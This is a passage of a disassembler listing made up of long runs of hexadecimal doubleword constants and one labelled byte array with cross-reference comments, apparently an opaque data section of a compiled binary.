		dd 0F07BCA83h, 8CA01851h, 800DB4Dh, 39662B6h, 7FD43E6h
		dd 6DD126DCh, 0C6E08010h, 0F124DEF2h, 0AB414413h, 27083DE5h
		dd 0F92EDB04h, 0A48B490Ch, 0BE445700h, 0F1C9FA02h, 27FC3000h
		dd 0C8C03716h, 22E10053h, 0D3A38E88h, 0A900A885h, 626333FAh
		dd 172A6ADCh, 491C518Bh, 0AC957258h, 0DC127493h, 0CA35AC20h
		dd 0DBAF0023h, 0B3FFF190h, 5A01F7B5h, 0C7032DC3h, 0AC23F07Dh
		dd 0ACDC54A5h, 1E61CC80h, 0D40E8733h, 0E5C34171h, 0A890678Eh
		dd 0B0FC880h, 51F3CE8Ah, 0BB4EC88h, 0E4977B1Fh,	2474BE04h
		dd 0AA875920h, 0FA031298h, 3353EBFEh, 0F942E03Ah, 4C713E7Bh
		dd 605C39AEh, 0A9CB22Bh, 8AF8BC21h, 8C3851h, 85B8AAC7h
		dd 0E03B343Fh, 0F3E406DEh, 58416E89h, 4C81388Ch, 0E815218Eh
		dd 0A205717Ah, 54B09CA5h, 637DE6C0h, 53813A5Eh,	43748900h
		dd 6B6EBBD3h, 0EFA26101h, 42DDFC4Ch, 72080C4h, 0D7A7521Ch
		dd 43CA922Ch, 0FCAE807Dh, 3A6C9C9Ah, 0BF1859ADh, 7F7D30EAh
		dd 81983D00h, 0BE69170Fh, 219100E6h, 0ECC6B0F3h, 9E7FB77Eh
		dd 15994A03h, 0CC6A8Ah,	0D6883F58h, 73CF3017h, 0A3401451h
		dd 0F40421h, 0C9D802E4h, 1849B714h, 9A033577h, 0F4907892h
		dd 0F5639819h, 84CE00C1h, 4D1F2524h, 0B78DF35h,	666A9703h
		dd 46199C89h, 0AB8A3418h, 0D30F5C4Ch, 0E0E7B58Dh, 21E5A862h
		dd 0F62200ECh, 0C42EA4B4h, 0A70605FDh, 96D1AB09h, 846E7619h
		dd 2374B111h, 84C67A10h, 0D22018D1h, 5288FA26h,	0ABE1FCAh
		dd 146604B1h, 3E3845F6h, 3DFD181Fh, 39ACBE36h, 0F5279802h
		dd 8404FE18h, 184DF028h, 30A0E275h, 1D84CFF1h, 31FC9F4Eh
		dd 417F5D30h, 42CFB60Ch, 18A10E54h, 5BE4061Ah, 0EB731424h
		dd 0F75E8390h, 0F41914FBh, 42144826h, 8D081839h, 16842C50h
		dd 0D45EFAEBh, 322A24E3h, 0C00D5330h, 3068460Ch, 0A8A6BAF1h
		dd 48F0EA33h, 827DE0BEh, 0F14124h, 0B105FB93h, 5C51ADF8h
		dd 40C2DD0Ch, 0A117AB90h, 909B1B09h, 9600214Fh,	2AF00D2Eh
		dd 98BD267Dh, 540A0102h, 0D9183C1Dh, 0B380DFA3h, 0AFF2F564h
		dd 6F73AD00h, 0CD5A38B8h, 0C32C02CEh, 264C88A5h, 1C549880h
		dd 0B0A2C518h, 4DB7E175h, 0CAA21880h, 23374285h, 572AA500h
		dd 432D501Eh, 0C76D308Ch, 586334A0h, 4B06EA1Fh,	607F7120h
		dd 2233898Ah, 8E002E46h, 0E25F3DBDh, 48BEB829h,	2D2C989Bh
		dd 45CB0ADDh, 0FEE6541Ch, 0E80937E2h, 2087945Ah, 0A606B768h
		dd 98E40285h, 342F4028h, 0E5A9480h, 16F2FD4Ch, 0F9A6B200h
		dd 0A875A3E8h, 0D6DE03D5h, 3BA2954Dh, 36CB44C0h, 32FA35F8h
		dd 2B6D5C00h, 0E93051BFh, 0CA8900A4h, 8CE77C7Fh, 7B15D5C9h
		dd 3914D6B5h, 80AFBC3Fh, 0E0E24C9Dh, 7D3A1DCh, 0B66D9EF6h
		dd 6F9540E8h, 560076FBh, 6ACBB332h, 0EDF7Dh, 0A00DC97Ch
		dd 0AD529DDh, 20F78E00h, 99417E1h, 71DB0034h, 50F992A3h
		dd 0D118EFC3h, 0FDB884B2h, 0DCCBF645h, 372BC098h, 745E3DC2h
		dd 0DB163Ch, 8E571F36h,	77D27Dh, 0D448923Eh, 0F6214E9Ch
		dd 680680CAh, 0BFF50B80h, 0A5C15B08h, 0A4020040h, 767C8EF6h
		dd 43903800h, 0E0D64587h, 2AE32E72h, 61E3CFAh, 804A9E80h
		dd 3D7BA41Ch, 0AAF0C7BEh, 7C9F4C00h, 7A9944A5h,	465E004Dh
		dd 5C9549AFh, 272842ECh, 0A61B9EE9h, 0E0E04337h, 0EC977582h
		dd 71723F78h, 12543160h, 82F4A2A1h, 0C47618C4h,	78D9CC00h
		dd 69038A4Eh, 0BA609D7Ah, 0A9301E4Ch, 584AB23h,	0C00E7933h
		dd 7BB75B5Bh, 0FC274D00h, 8DBCF801h, 413F181Ah,	56A5A89Bh
		dd 85830400h, 93A03CD3h, 403100B9h, 7ABF2A82h, 5E1F90D0h
		dd 54663F91h, 69C1861Ch, 3338B1A5h, 8553189Eh, 0B4557Ah
		dd 0EE654B88h, 0D3E6761Bh, 5493A40Ch, 0FEECF119h, 0E940C085h
		dd 6169F39h, 4ADAEE02h
		dd 0F7709C2Eh, 44FAE160h, 3435B000h, 0B665F7B3h, 97BC002Ch
		dd 4BE2C886h, 273BA58Bh, 0B1490CE3h, 3DCB38ADh,	8103ABDBh
		dd 1FD233CAh, 0DC916AF8h, 4B66900h, 7C7D8BACh, 6773313Dh
		dd 707147A0h, 264A4EDFh, 12005CA8h, 0C93F9269h,	0D00D48Eh
		dd 0A2C4801Ch, 1A5CCD3h, 0A4CF96E8h, 0BD3B069Bh, 0E87CB1D0h
		dd 108FFF2Ah, 8E8C9954h, 500F6DB0h, 0B577E9A5h,	10BE8730h
		dd 0D1700B54h, 9A0AC67Bh, 9CF6D928h, 8A5B5C00h,	0E499558h
		dd 27BA0490h, 0A6D39D20h, 0A9026BA5h, 0C8C30641h, 0D7144325h
		dd 0DAC60068h, 393F34FAh, 0E40438F4h, 0E68FB9EFh, 60DC88h
		dd 827F5E27h, 9396AA43h, 94666B02h, 805B564Bh, 8A72CA94h
		dd 504F61AEh, 0DC527A35h, 600269D6h, 4724D1ACh,	381066D8h
		dd 97FA0CFh, 448A7B72h,	0C31D3482h, 79BE3960h, 466E4D07h
		dd 97F0A795h, 0B8312Ah,	375E4294h, 0CA4D7C81h, 0F334AF18h
		dd 0EE3D89E0h, 27F9C483h, 0C25081D6h, 60B445F2h, 8154FC50h
		dd 0A1AEED0Ah, 25804870h, 0E87D728h, 0B4DD006Ch, 0AED6BE4Ch
		dd 86074BF8h, 0B36DF314h, 9B09280h, 6CE9006Ah, 8C19445Bh
		dd 4300DE61h, 66160C07h, 0C1C8ABC2h, 19B49F28h,	544BE413h
		dd 5528D000h, 0B9D59D47h, 655C064Eh, 3140CAC6h,	43774800h
		dd 9A6CB093h, 0F3A1007Ch, 4FC3D23Bh, 0BE2C2CE5h, 7200BA8Ah
		dd 0F7AAC8AEh, 0E45F0088h, 4994AF9Dh, 9E008A26h, 33E3BFB5h
		dd 0DABC515h, 0A6FEF20Bh, 21F1D020h, 434C3Dh, 8767C33Bh
		dd 18C0401Eh, 0B8614414h, 90337A0Bh, 0E82530A2h, 1DD343Bh
		dd 12CF1388h, 800BBCE0h, 79DAA758h, 6749E5CEh, 601F5453h
		dd 9192846Ch, 0D6A63Ah,	0A9669DF8h, 0C3AFC29h, 34F1B01Dh
		dd 0C43C1099h, 5D1A8C0Ah, 8EC10BBh, 5EA1BC43h, 8070EAC6h
		dd 48FEF08h, 0C16F8638h, 0DEE4C061h, 0E51D8BA2h, 5B002E64h
		dd 69B059ACh, 7A580382h, 80718EAAh, 0ADE3BD90h,	27CA4100h
		dd 0DE9B7D3Fh, 6FB202B3h, 0D6C06AA5h, 0FC8ECA5h, 0B629D904h
		dd 0A60DFF83h, 161A1800h, 0BB3B2D78h, 0F43A0A29h, 0FE4D836h
		dd 8D00DF10h, 0B05B64CBh, 0BC6C801Ch, 70B74Fh, 38480C79h
		dd 3BF00754h, 40E79912h, 3241620Dh, 861C4D70h, 5F81AEE1h
		dd 0A0ADB2D2h, 33102026h, 0C01C04D9h, 4902E55h,	550ED261h
		dd 0CEC89806h, 8FE2244Fh, 0DE290E27h, 0A35DC5h,	27E8E3E4h
		dd 58C08305h, 0ED4C5277h, 0CF810CABh, 69502D3Bh, 0A42C5501h
		dd 8C4FF8A7h, 3CDB95E0h, 7300B690h, 0B3BF6E93h,	1E031179h
		dd 0A3524A4Eh, 0B6610161h, 0B06512ACh, 0E448530Ah, 53909A80h
		dd 99179402h, 728D4h, 0B9F6D8E7h, 20C6B00Ah, 0E000E17Fh
		dd 0D6CBC85Ch, 0AA2602E5h, 25AC13Fh, 5C8A088h, 5E9C4B20h
		dd 0D70443D0h, 0D6B8396Fh, 0F50049D3h, 70975765h, 7DDC7AEAh
		dd 4FE400AFh, 0C276107Dh, 8000C77Eh, 0D75ACB62h, 1EF7F0F3h
		dd 3DCC4DC9h, 41A6B780h, 0F2AABB35h, 7081BE0Eh,	5AF2Ah
		dd 6E98A248h, 844490C7h, 83260724h, 0CAAD65E0h,	0AC0A801Ch
		dd 6108A8B6h, 68C23CA6h, 2734CEAEh, 6BD640D9h, 9126C51h
		dd 6C102328h, 0E898C530h, 0B54B1830h, 57A8F009h, 8E143060h
		dd 2200648Dh, 6B1AD890h, 1728A68Bh, 3600909Bh, 0C9C5377Bh
		dd 6EE58DDh, 0A49A56E9h, 0FA3D3161h, 97A21D09h,	81E15B9Eh
		dd 0E6908C99h, 5A18CECDh, 7870AD6h, 0E2309AF7h,	3A38A416h
		dd 606802CBh, 0D97088D6h, 8C8A7FE1h, 706BAD40h,	0A69A7DF0h
		dd 0FDB8143Ch, 8F9D2457h, 97E0E783h, 0F6606DF1h, 760540A5h
		dd 5820CF6Bh, 0A785DB7Ah, 82683788h, 0C320580Fh, 77DAD896h
		dd 3F7F063h, 65A8904Dh,	40008AEBh, 37A5463Dh, 1407849Ch
		dd 446C6F57h, 0CEA6BEE0h, 0BA59008Bh, 77CA3F3Dh, 0A37479BCh
		dd 0A489A57h, 1CCF0EA8h, 0D4FD1A40h, 85F72FA5h,	8D142D56h
		dd 9832A238h, 0CEFA1Ch,	1097A8BDh, 6AB66C2Bh, 6F323Fh
		dd 57A6809Ch, 0A3A2AFh,	7858F97h, 0A4DDB4B7h, 0E63C98F0h
		dd 0CCEE29C9h, 341A3067h, 0C05E5A67h, 0A80B3707h, 887753A1h
		dd 30134E85h, 0D39F3A1Ch, 0E2B7A53Fh, 82D21698h, 82C9D7D4h
		dd 43501790h, 856AA24Ch, 983876B4h, 0CDE42318h,	0BC1D9A00h
		dd 50977A8h, 9EC5C6D6h,	0F1B8027Fh, 9A42A1AAh, 90F78003h
		dd 0C737601Eh, 8805C3C6h, 0C4D724F8h, 6C4C2930h, 10475EC8h
		dd 0B0747A14h, 4D357612h, 0E869FB10h, 7CF0A4DEh, 0A8B6C0CAh
		dd 7C82C50h, 223266FEh,	591F83C2h, 51531BD8h, 84997E1Ch
		dd 4445A7CAh, 0BA9014C7h, 450F61Eh, 0BED3797Eh,	0E708B0Ah
		dd 20812AA0h, 0BFD99473h, 0A05F6268h, 0B482F01Eh, 189090A3h
		dd 0E31F78B1h, 7C49FD0Ah, 0A41F009Eh, 5704EC17h, 230618A5h
		dd 894BE5ACh, 0E2C61902h, 389A85AAh, 781F308Fh,	0D901F89Fh
		dd 0A3C7EEDFh, 0CD2145Ch, 0FFAD5043h, 64133E80h, 342CA6CCh
		dd 4073248Eh, 1FD83063h, 0A6088803h, 7287AE97h,	0E0525A60h
		dd 79AC5154h, 14AE912Bh, 0D25AF682h, 0D9AC904Dh, 96601C5Dh
		dd 18AB55E6h, 7D13C4C1h, 0C289AC9Ah, 77A50701h,	6C30645Dh
		dd 0A4E53CA1h, 13B4FF0Ah, 5681EE20h, 815831h, 0A1849Fh
		dd 2519B7A4h, 0BB1437A0h, 45ECE1E9h, 0BAC2CF0h,	0FFE3E43Bh
		dd 0FF02D9FAh, 5BF916Bh, 17A0E01Ch, 299D7C8Bh, 8E3CA765h
		dd 89ACA90Fh, 2E02DFB9h, 6D57ABE0h, 1C86768h, 4FD13BAEh
		dd 3FE04088h, 0A64CF614h, 0D5EAB010h, 87FE32F8h, 48451F28h
		dd 0AE8EF601h, 33077FB6h, 480AFD95h, 0F4A7C760h, 5AFBF85Bh
		dd 5F79C255h, 0DC9C908Bh, 73E6AA00h, 7E5659EBh,	0FB815D9h
		dd 6DC150A8h, 513321F4h, 4FD9B9F0h, 60C7AECh, 505AFA9Ch
		dd 0A4B90219h, 241F45A8h, 0AC07C067h, 5CB2BF30h, 5EBC6087h
		dd 17A80BE3h, 14047AAFh, 0F748C322h, 1818B8A3h,	1410BF8Ch
		dd 78CB4C1Ah, 3712203Ah, 0E641F0Ah, 17465D07h, 0D71F4878h
		dd 33A841Ah, 65A91F6Dh,	4508037Ch, 766EEF19h, 0F0AACFA9h
		dd 0A8A083BBh, 0A5007B32h, 0DA2C2857h, 7CA418E5h, 0D6642608h
		dd 0D7AF0E00h, 30959099h, 44C07F8h, 742A3898h, 510080F0h
		dd 0F31EF7BAh, 42817A5h, 9BB7AD7Ch, 83688186h, 0CA893B2h
		dd 41F6AC44h, 729A10C0h, 0C20EEACDh, 0B6309718h, 0B3B76440h
		dd 53017E8h, 586F08B8h,	27C512CCh, 0B0B00353h, 89F9C7E0h
		dd 90E3D3EBh, 9B850807h, 2643DA28h, 58E5E0DFh, 7CCE749Dh
		dd 5CF18F4h, 23C5208Dh,	0FA8663Ch, 87D9600Fh, 0A5819441h
		dd 0C5E073C6h, 677840h,	0A9218525h, 0C8CFBF05h,	807CFDF0h
		dd 9B0AE51Dh, 0F78E8F3Fh, 0FE6E84AAh, 157828C1h, 0AB619440h
		dd 0CA570FA4h, 8C80A7C1h, 0E0370869h, 71F92090h, 64309056h
		dd 0CABF770Ah, 0CB2838F4h, 4D6200ACh, 0F9843BD5h, 0B403E5BBh
		dd 0F58FCFD3h, 0D8ACC026h, 0DA90034h, 47E5C50h,	44E8A0AEh
		dd 0D3512C00h, 0DE62D27Bh, 34F0BBh, 29551BD8h, 2FB2DBDAh
		dd 0D79BDF00h, 0EE047444h, 0E4E847h, 0FBD49214h, 7BA8A786h
		dd 31118A60h, 0F8475BEh, 0BBAAD31Ah, 4BA03445h,	0D5807C48h
		dd 0A9352FEBh, 89BBED35h, 8073280Eh, 4790B14h, 7F1D0A61h
		dd 6020D5A4h, 0E8C56798h, 2CEC694Ah, 7D960173h,	7853E304h
		dd 2E3858C4h, 345C908h,	0D42D0031h, 0B5247E5Dh,	5BD35000h
		dd 0C47714A6h, 0A51B0091h, 0A4C82865h, 273E7385h, 0C5F0076h
		dd 3E6345B3h, 0CB7B00D8h, 0D5E47719h, 24077929h, 0A5B30D2Dh
		dd 4BE1C0DDh, 87081EFFh
		dd 15E40078h, 27C47A23h, 0D3107563h, 0C3A81FC1h, 3FA40C1Eh
		dd 6F3E24F0h, 0A90774DDh, 0FFC47EA3h, 0C437DE7h, 0A71007A1h
		dd 5BD5E6h, 2F1BD7CFh, 3BDA0703h, 0C0DD89D2h, 0FD9DEDFh
		dd 0D836A9BBh, 3AE4CE8Ah, 897F918h, 0BD3F51C0h,	0BE2D83C5h
		dd 0A12C8B45h, 10873A65h, 0C11644E5h, 80289225h, 79103D18h
		dd 92AD6E4h, 402C05A1h,	0BC6E1400h, 6348DBD9h, 9E9B001Ch
		dd 195BDA20h, 7BB40C06h, 9120C598h, 60F8C074h, 169CEB50h
		dd 847A0C0Fh, 0E47E43B6h, 3BA8D04Ah, 0E89162CFh, 2C40D14Ch
		dd 905E45h, 900FD528h, 28B7B424h, 0C305540Eh, 18470CDBh
		dd 0F0B8D678h, 0D80FDEA1h, 1DEF7DFBh, 10DFE20Ch, 0D24A07D6h
		dd 41459A96h, 0E0910256h, 0AC7EE2B6h, 1D5E7B3Ah, 67921BD4h
		dd 30B5880Ch, 9C8F37B6h, 73892088h, 0D0E75764h,	75FCF5A4h
		dd 30D62424h, 366492E0h, 0B0BC4876h, 0CC478D14h, 3A899B0Ch
		dd 293CF1F8h, 2F4100B4h, 0EB063BD9h, 0EEC56EB2h, 0D8143649h
		dd 8510E271h, 6D0A8765h, 1A4C458h, 1BD02845h, 5052C30Eh
		dd 0EA67808Ch, 3E030A0Ch, 2D8BA8F4h, 6E04AB1Ah,	0C000846Fh
		dd 4DE4708Bh, 0D6D24906h, 1F084B9Ah, 76E0F5h, 0A5B2FF63h
		dd 700A2902h, 846DC144h, 73A9A400h, 0F1806084h,	0CA7CB0D3h
		dd 0D447C5h, 0C864754Fh, 9A8F5C4h, 743BAD80h, 0D47B5780h
		dd 0D35C0DDBh, 71990156h, 7C19C473h, 0E4455C20h, 827B12ABh
		dd 855002F8h, 70BBD849h, 0B55427C0h, 3064BD4Dh,	0C50460B6h
		dd 0D5E8C015h, 3EBBD721h, 0AE3A98A8h, 8E31C490h, 535C2838h
		dd 0EFA4D0h, 1065B30Fh,	0C7C475D2h, 0E7F47650h,	1B125C90h
		dd 24051EB7h, 0D80ACA1Ch, 8492A42Ch, 457C49h, 1DF20594h
		dd 71040170h, 59C47486h, 8C64E0CEh, 41508F62h, 0A3306054h
		dd 1BA9243Dh, 4925501Ch, 2929C14h, 0B8C013D8h, 3724B000h
		dd 28BBD835h, 39CABD9h,	847657F6h, 4A05188h, 10C555CFh
		dd 0A40C8602h, 26DBB0B5h, 9D806C3h, 940022F5h, 0E4719199h
		dd 75B3BD03h, 3D7CB704h, 98CC4B98h, 4835E214h, 0C8616C80h
		dd 0B0A085EDh, 0CC90AE4Dh, 5C33E429h, 3F203187h, 60378852h
		dd 0C0220AA8h, 0D4671398h, 8498319Bh, 50208422h, 45B8FCh
		dd 1BDED3CEh, 7BD78810h, 0AB139975h, 5E01DB5Bh,	0A875069Bh
		dd 2EDC9449h, 9CEB00C3h, 98968EADh, 0D1762702h,	0D9C12B00h
		dd 0C8CE6DA6h, 505E266h, 27AD06C6h, 321C40DAh, 1F8BE1Ah
		dd 0C25B4082h, 0A24600D9h, 0AA670DF5h, 0C71E020Eh, 9E392247h
		dd 803BD0E6h, 0E70F63F1h, 0E8058267h, 1B53BEBh,	0EE80BEBFh
		dd 0DA099580h, 473E6C26h, 0E548030Ch, 0AF9C60CFh, 0FFE4478Fh
		dd 0EC3A020h, 0B3E007E3h, 6340E194h, 0A9C1CFFDh, 5C20D0F2h
		dd 60E2260Eh, 0A81838F0h, 3EE17C98h, 1E782BE9h,	8E30B7Bh
		dd 0AB0C9402h, 38295892h, 5218E288h, 26590827h,	0B57A80h
		dd 0FBFC80CFh, 72EE66DAh, 9306F07Eh, 0CEA0EF13h, 7CE060h
		dd 16C0E22Ah, 0E080E491h, 0F8201462h, 0F820199h, 0BA67F0E3h
		dd 0B600E27Ch, 56A70564h, 0E070426h, 60D269FBh,	0E701DEE3h
		dd 0F00E18F9h, 0B6A04D66h, 40024B4h, 0DAA0CC7h,	0D825C4A7h
		dd 7D2050A9h, 0EED86E60h, 3C5E961h, 85E81972h, 0E5C06799h
		dd 0A5F85F6Ah, 0D0BD7E00h, 43AAD40h, 0C147127h,	8777E5E8h
		dd 0CC74CD70h, 0F5C0CC0h, 394816C7h, 933EA701h,	0B181270Ah
		dd 74FA01ECh, 0BC0B070Fh, 942A1D18h, 1B6FE700h,	37B8709h
		dd 4C70A5Dh, 6BC10F5Fh,	2F07F020h, 471D687Ch, 3C6964h
		dd 0C0E312A8h, 28C5EB18h, 0E0AC9126h, 0B0A0A85Eh, 6F40C778h
		dd 27674072h, 0E70E0429h, 3D1310Ah, 84CFB443h, 0A802548Ah
		db 1Dh
byte_520045	db 0B1h, 3Bh, 0FFh	; DATA XREF: ___:0042CC88o
					; ___:0042CCA0o
		dd 6AC0CE07h, 2AFC60EEh, 14C7ECh, 4198956Ch, 0AED6FA5Eh
		dd 0FA53E124h, 6F19DF13h, 6C200AA8h, 84B6518Eh,	0E4058D04h
		dd 0C009EDD7h, 0A69400DCh, 0F8D0C1F9h, 18396E42h, 0A7093DC0h
		dd 98A0A891h, 50A4284Eh, 0FB1DD900h, 0D614C146h, 0A0C7480Eh
		dd 0A3BE712h, 0C018C040h, 7B08ACA9h, 0EEA85361h, 88426651h
		dd 20504045h, 1829525Ah, 0EE394F04h, 4EF090A2h,	501333Ah
		dd 306F087h, 0A7CFDD07h, 47308E1h, 0C66C44F0h, 8806B50h
		dd 305F800h, 0D0814E7h,	94404907h, 84FA4874h, 2D1EB01h
		dd 0F08F9167h, 950323C0h, 0F92B80EDh, 45A7C1E1h, 487260F0h
		dd 1924D4B0h, 0DE103AD0h, 2C1024CBh, 8F9670Ch, 90ACF6C7h
		dd 802A48C8h, 0C468270Ah, 0F5FD0C8Bh, 23627D88h, 0E5F91A8h
		dd 0C0CFD740h, 0EC90D060h, 8BAAE33h, 48607026h,	51880C6h
		dd 73A50807h, 65133078h, 380980B8h, 0DD242352h,	820121Ah
		dd 84640590h, 0A4D809BDh, 72078401h, 86C7E0A6h,	6748C890h
		dd 0E1DCA320h, 0E4579A6Dh, 607399B2h, 90313474h, 88B43288h
		dd 0E8B84D98h, 26185449h, 8E386C7Bh, 260090A0h,	918E207h
		dd 44017360h, 0A3525A26h, 23032048h, 1411B77Bh,	8A4C6E79h
		dd 0C87A73Dh, 39C7E6DFh, 0C058E488h, 90E358CBh,	0CE247892h
		dd 27090817h, 266404D9h, 5301248Ah, 0CD56BFBCh,	189020FDh
		dd 8D6730C0h, 0ACE6CA76h, 705C064Ch, 60452F27h,	6AE90E14h
		dd 0C25F14D8h, 14A38ACh, 175906C1h, 7422C6C3h, 0E6F8E987h
		dd 0EE28D947h, 748A89Bh, 0F42AA0F0h, 297061A5h,	402B6B4Eh
		dd 0CFEE7ED0h, 23B3A012h, 1BDDA438h, 0A1669F4Bh, 48C274DAh
		dd 0E03EEC16h, 0D09F1823h, 78F58EF8h, 28C75681h, 34A1100h
		dd 0D2427E09h, 7F3C6B0Ah, 65E1140Fh, 8C48DC92h,	7EE204CEh
		dd 8418470Fh, 641877B0h, 0BA63828Dh, 45BBBCA1h,	73D04BC5h
		dd 90014609h, 9424A8BFh, 30794350h, 0EE2151FAh,	40B050C1h
		dd 2E245853h, 3418CD3Eh, 920C4EF1h, 0E2B03020h,	0ED8F0508h
		dd 5160A099h, 6FE59103h, 0A06838B9h, 9FAE4600h,	0FD79C6D9h
		dd 48A306E0h, 637270C5h, 21BF865h, 19EA40E8h, 0C8242C98h
		dd 8518140Bh, 7990A708h, 77270AFAh, 0E03CCFF9h,	93116CB7h
		dd 0D224BB04h, 606858Bh, 67186889h, 0D610443Dh,	0A0D012A4h
		dd 0E0FC002Dh, 0E7095015h, 0EF6334Ch, 62CA75C0h, 601B3846h
		dd 0E84FB04Ch, 3A4A580h, 65C7E1F8h, 616B7130h, 52325A66h
		dd 0C5DEA8EDh, 44BE6C4Ch, 838CCEE0h, 0D5E94698h, 0C07C22C7h
		dd 61F17756h, 1224906Bh, 387B85ABh, 0CD14657Ch,	8FF8810Dh
		dd 0C6DAC264h, 10808AA1h, 2287DC58h, 0EE1B1756h, 8728BAA8h
		dd 0B86C3B0h, 0C6C50B40h, 88137AEh, 220F3484h, 0BDE3C188h
		dd 8050663Ah, 11A834Bh,	0CE9DE0E4h, 60B886C8h, 1E04C778h
		dd 0C260D138h, 2202348Fh, 0B7B5CA94h, 84456B0Fh, 808B408Ch
		dd 0C5BDF05h, 0C0F04B9Dh, 0A416F489h, 0D6BAD10Ch, 146B2998h
		dd 0E0CFF8AFh, 0A0A2A1B7h, 0CB298B39h, 50DC888Bh, 0A923B2E3h
		dd 85D207DBh, 0F884E4C4h, 0BC33B0CBh, 51051290h, 0E55BBA0Bh
		dd 0E0C16470h, 0A27DF257h, 479B63ECh, 65045028h, 0D1126D0Bh
		dd 61864B24h, 6041C19Ch, 220280BCh, 0CEA0E30Dh,	215041FEh
		dd 5C465D20h, 705E48Bh,	0CB0E5538h, 0DC453834h,	0A8E1305Ch
		dd 0EDD5E62Bh, 5A9685Ch, 769A4B81h, 9FB80DE6h, 203FED81h
		dd 0F150410h, 803046DAh, 1566B5A4h, 6B98A008h, 72DCB8ACh
		dd 5802B20h, 9C3F9D48h,	300AD85Eh, 6E24F9CBh, 0E658F0E5h
		dd 0BB8110D7h, 75AB0A4Fh, 7F709C61h, 0F45E3A21h, 486DC4D4h
		dd 5C054C91h, 60270F61h, 72D7BB74h, 0E4DC8D55h,	0E0E92E7h
		dd 5431EDA7h, 11B4B08Ch, 3BFC2415h, 6853BA7Ch, 0DBF29E06h
		dd 2B1221FBh, 180E9DEDh, 80EC017Ah, 0EC70AA1Eh,	914B78A5h
		dd 0E6D26038h, 514923D3h, 0D9781774h, 272E838h,	0A87C578Ch
		dd 9A84D128h, 0FB58C327h, 438CC5A5h, 0CD1C06ECh, 3F14C6A0h
		dd 0F66F18C5h, 15A6F081h, 78796870h, 0A44AF9F4h, 4688FB3Ch
		dd 0CB053C72h, 0A08125D5h, 0F0211455h, 3E0B49D8h, 0B4585847h
		dd 236ED16h, 24C3A88h, 1D04B496h, 39AABE83h, 2C4AB00h
		dd 6C3A20EEh, 0B394487Fh, 66C6E124h, 240B0C24h,	0B707392h
		dd 8886BEF6h, 9499C054h, 678CF960h, 80AB9093h, 5C424CE8h
		dd 38B07CC5h, 2829CC9Fh, 61E0E451h, 441279ECh, 8324983Ch
		dd 0E35878C5h, 0C60214E7h, 8E09C4AAh, 0C80421A7h, 0D280B050h
		dd 0C40708C1h, 745CD0ADh, 71FF18C0h, 996E411Bh,	0F001DE2Eh
		dd 0F5D9605Ah, 0CE29C09Eh, 0C70438BEh, 0C7DD62Ch, 0DA37102h
		dd 0EE0E61A7h, 0B8CC7472h, 41CF40AAh, 3838DAAEh, 90206F34h
		dd 28A9657Fh, 8BD0120Eh, 55DA0694h, 0A5183BFh, 91F8AEEh
		dd 0FB258FCh, 3CD65C18h, 2BB94E28h, 9D3C0C43h, 6A760455h
		dd 9AC21E3Dh, 14670986h, 0FE016504h, 8E05A763h,	879CC0B3h
		dd 0D71198E2h, 0C4DD3B4Dh, 0C8DC56A9h, 19501748h, 6978FCCCh
		dd 5D8394A5h, 0CC6A5A03h, 0ED1648D1h, 67B02838h, 302C6EBBh
		dd 0CC940C09h, 8A200094h, 63870A65h, 1647E862h,	2CC1010Ch
		dd 426C6EF0h, 10B9982h,	0A70A807Ch, 5CEB40C4h, 0FA113C38h
		dd 1779634Ah, 2C0A7B41h, 0E2295A08h, 4E02F41Dh,	65042409h
		dd 0FB8782BCh, 0A4AF82D8h, 0EC37CB62h, 0A593CB8h, 8B88E676h
		dd 0D13A1076h, 0B759A180h, 0B07550D0h, 0B86B7918h, 6FD099A8h
		dd 0B1B53F63h, 0BAB0408Dh, 51070BFCh, 0A0EF4702h, 0B8E2D553h
		dd 2AE14644h, 1498C916h, 0FC0FACABh, 5412F12h, 0CE31E5B0h
		dd 570C75BCh, 9877F51Bh, 3E4D2C0Bh, 5990738Ch, 0E241923Ch
		dd 0E029A3E7h, 487F8EE0h, 0D4B06C05h, 7C3F171Dh, 62509D1Bh
		dd 0C73F3C40h, 7756CABBh, 49261EC9h, 48E30233h,	240CF1Dh
		dd 0FB00F382h, 0B5A5A965h, 0F8C74Bh, 53092AC3h,	0E0E92903h
		dd 942C5A3Ah, 9024C802h, 9BDE0C96h, 227062h, 29218795h
		dd 844BEE3h, 680880FDh,	0B04584A3h, 586A1F1Eh, 0EB15D11h
		dd 7D0088F1h, 80966451h, 79C4CE00h, 0F470E35Fh,	175A0047h
		dd 332F7786h, 52028325h, 0D16385E4h, 6F1C9843h,	0A73100E8h
		dd 3A47F3D9h, 0AD808B38h, 0B7AC149Dh, 0A5C01844h, 0A17F2A6Ch
		dd 0EF105A60h, 0E45156ABh, 6908C7B0h, 0BDD73Eh,	0D7F87421h
		dd 59AB610Eh, 0FBB660F2h, 3AEA147h, 0CC147A4Eh,	0B999672Bh
		dd 0E74080FAh, 0ED1E4CF3h, 0F1240096h, 0F2457F5Ah, 9D18787Eh
		dd 33686102h, 72C90173h, 0EA192F12h, 25F8D81Bh,	0FA8D921h
		dd 0AF824741h, 0F018733Eh, 0E4898027h, 0D8004C77h, 59CD0CDh
		dd 371C7F8Dh, 23D00720h, 0CFD00FAEh, 9D3F9356h,	2DA48CDDh
		dd 0A9CE914h, 0A9019BF7h, 0EC70138h, 483B4E8Ah,	28402F6Ch
		dd 4C400003h, 59C71E69h, 4E01B2F1h, 0FC22066h, 0A7E88BDBh
		dd 705D600Dh, 0DAC73BACh, 0A8AF8C28h, 6E14B603h, 0B04BBDD4h
		dd 7DD11C8Fh, 3A2E0FFEh, 0C1605166h, 3337DA6Ah,	2B11FA00h
		dd 0ED010325h, 0C4771F4Fh, 7C3C017h, 0A1234A93h, 25288507h
		dd 47E0D48Ch, 3F72DF0Fh, 5480BDCAh, 0B73E88C7h,	0D3F350Eh
		dd 605CF0F3h, 10F200D3h, 340A6E4Dh, 0D1E81F88h,	5ED60016h
		dd 750C5A8Eh, 3A33300h,	64B7ED20h, 9BA43E6Dh, 72B59907h
		dd 38B4E0BFh, 0B300E3DCh, 150A5F32h, 7A1237h, 1C711B3Ah
		dd 0C3B9CA06h, 0E6BFCF03h, 0D039FBD5h, 3837555h, 2B6DA6C0h
		dd 9690BD47h, 30CF4664h
		dd 488280C4h, 0FCC9895Eh, 0FA020338h, 341AB244h, 0F427DAD1h
		dd 0E7077DA6h, 0DC4225ACh, 38ECD0B0h, 0EF430091h, 1F938782h
		dd 90053B2h, 29346FFEh,	1FAF7696h, 3CB1FDD5h, 0C400D14h
		dd 1F2F9700h, 0A9E693EEh, 0A478E4A0h, 7E798900h, 0A401B4Fh
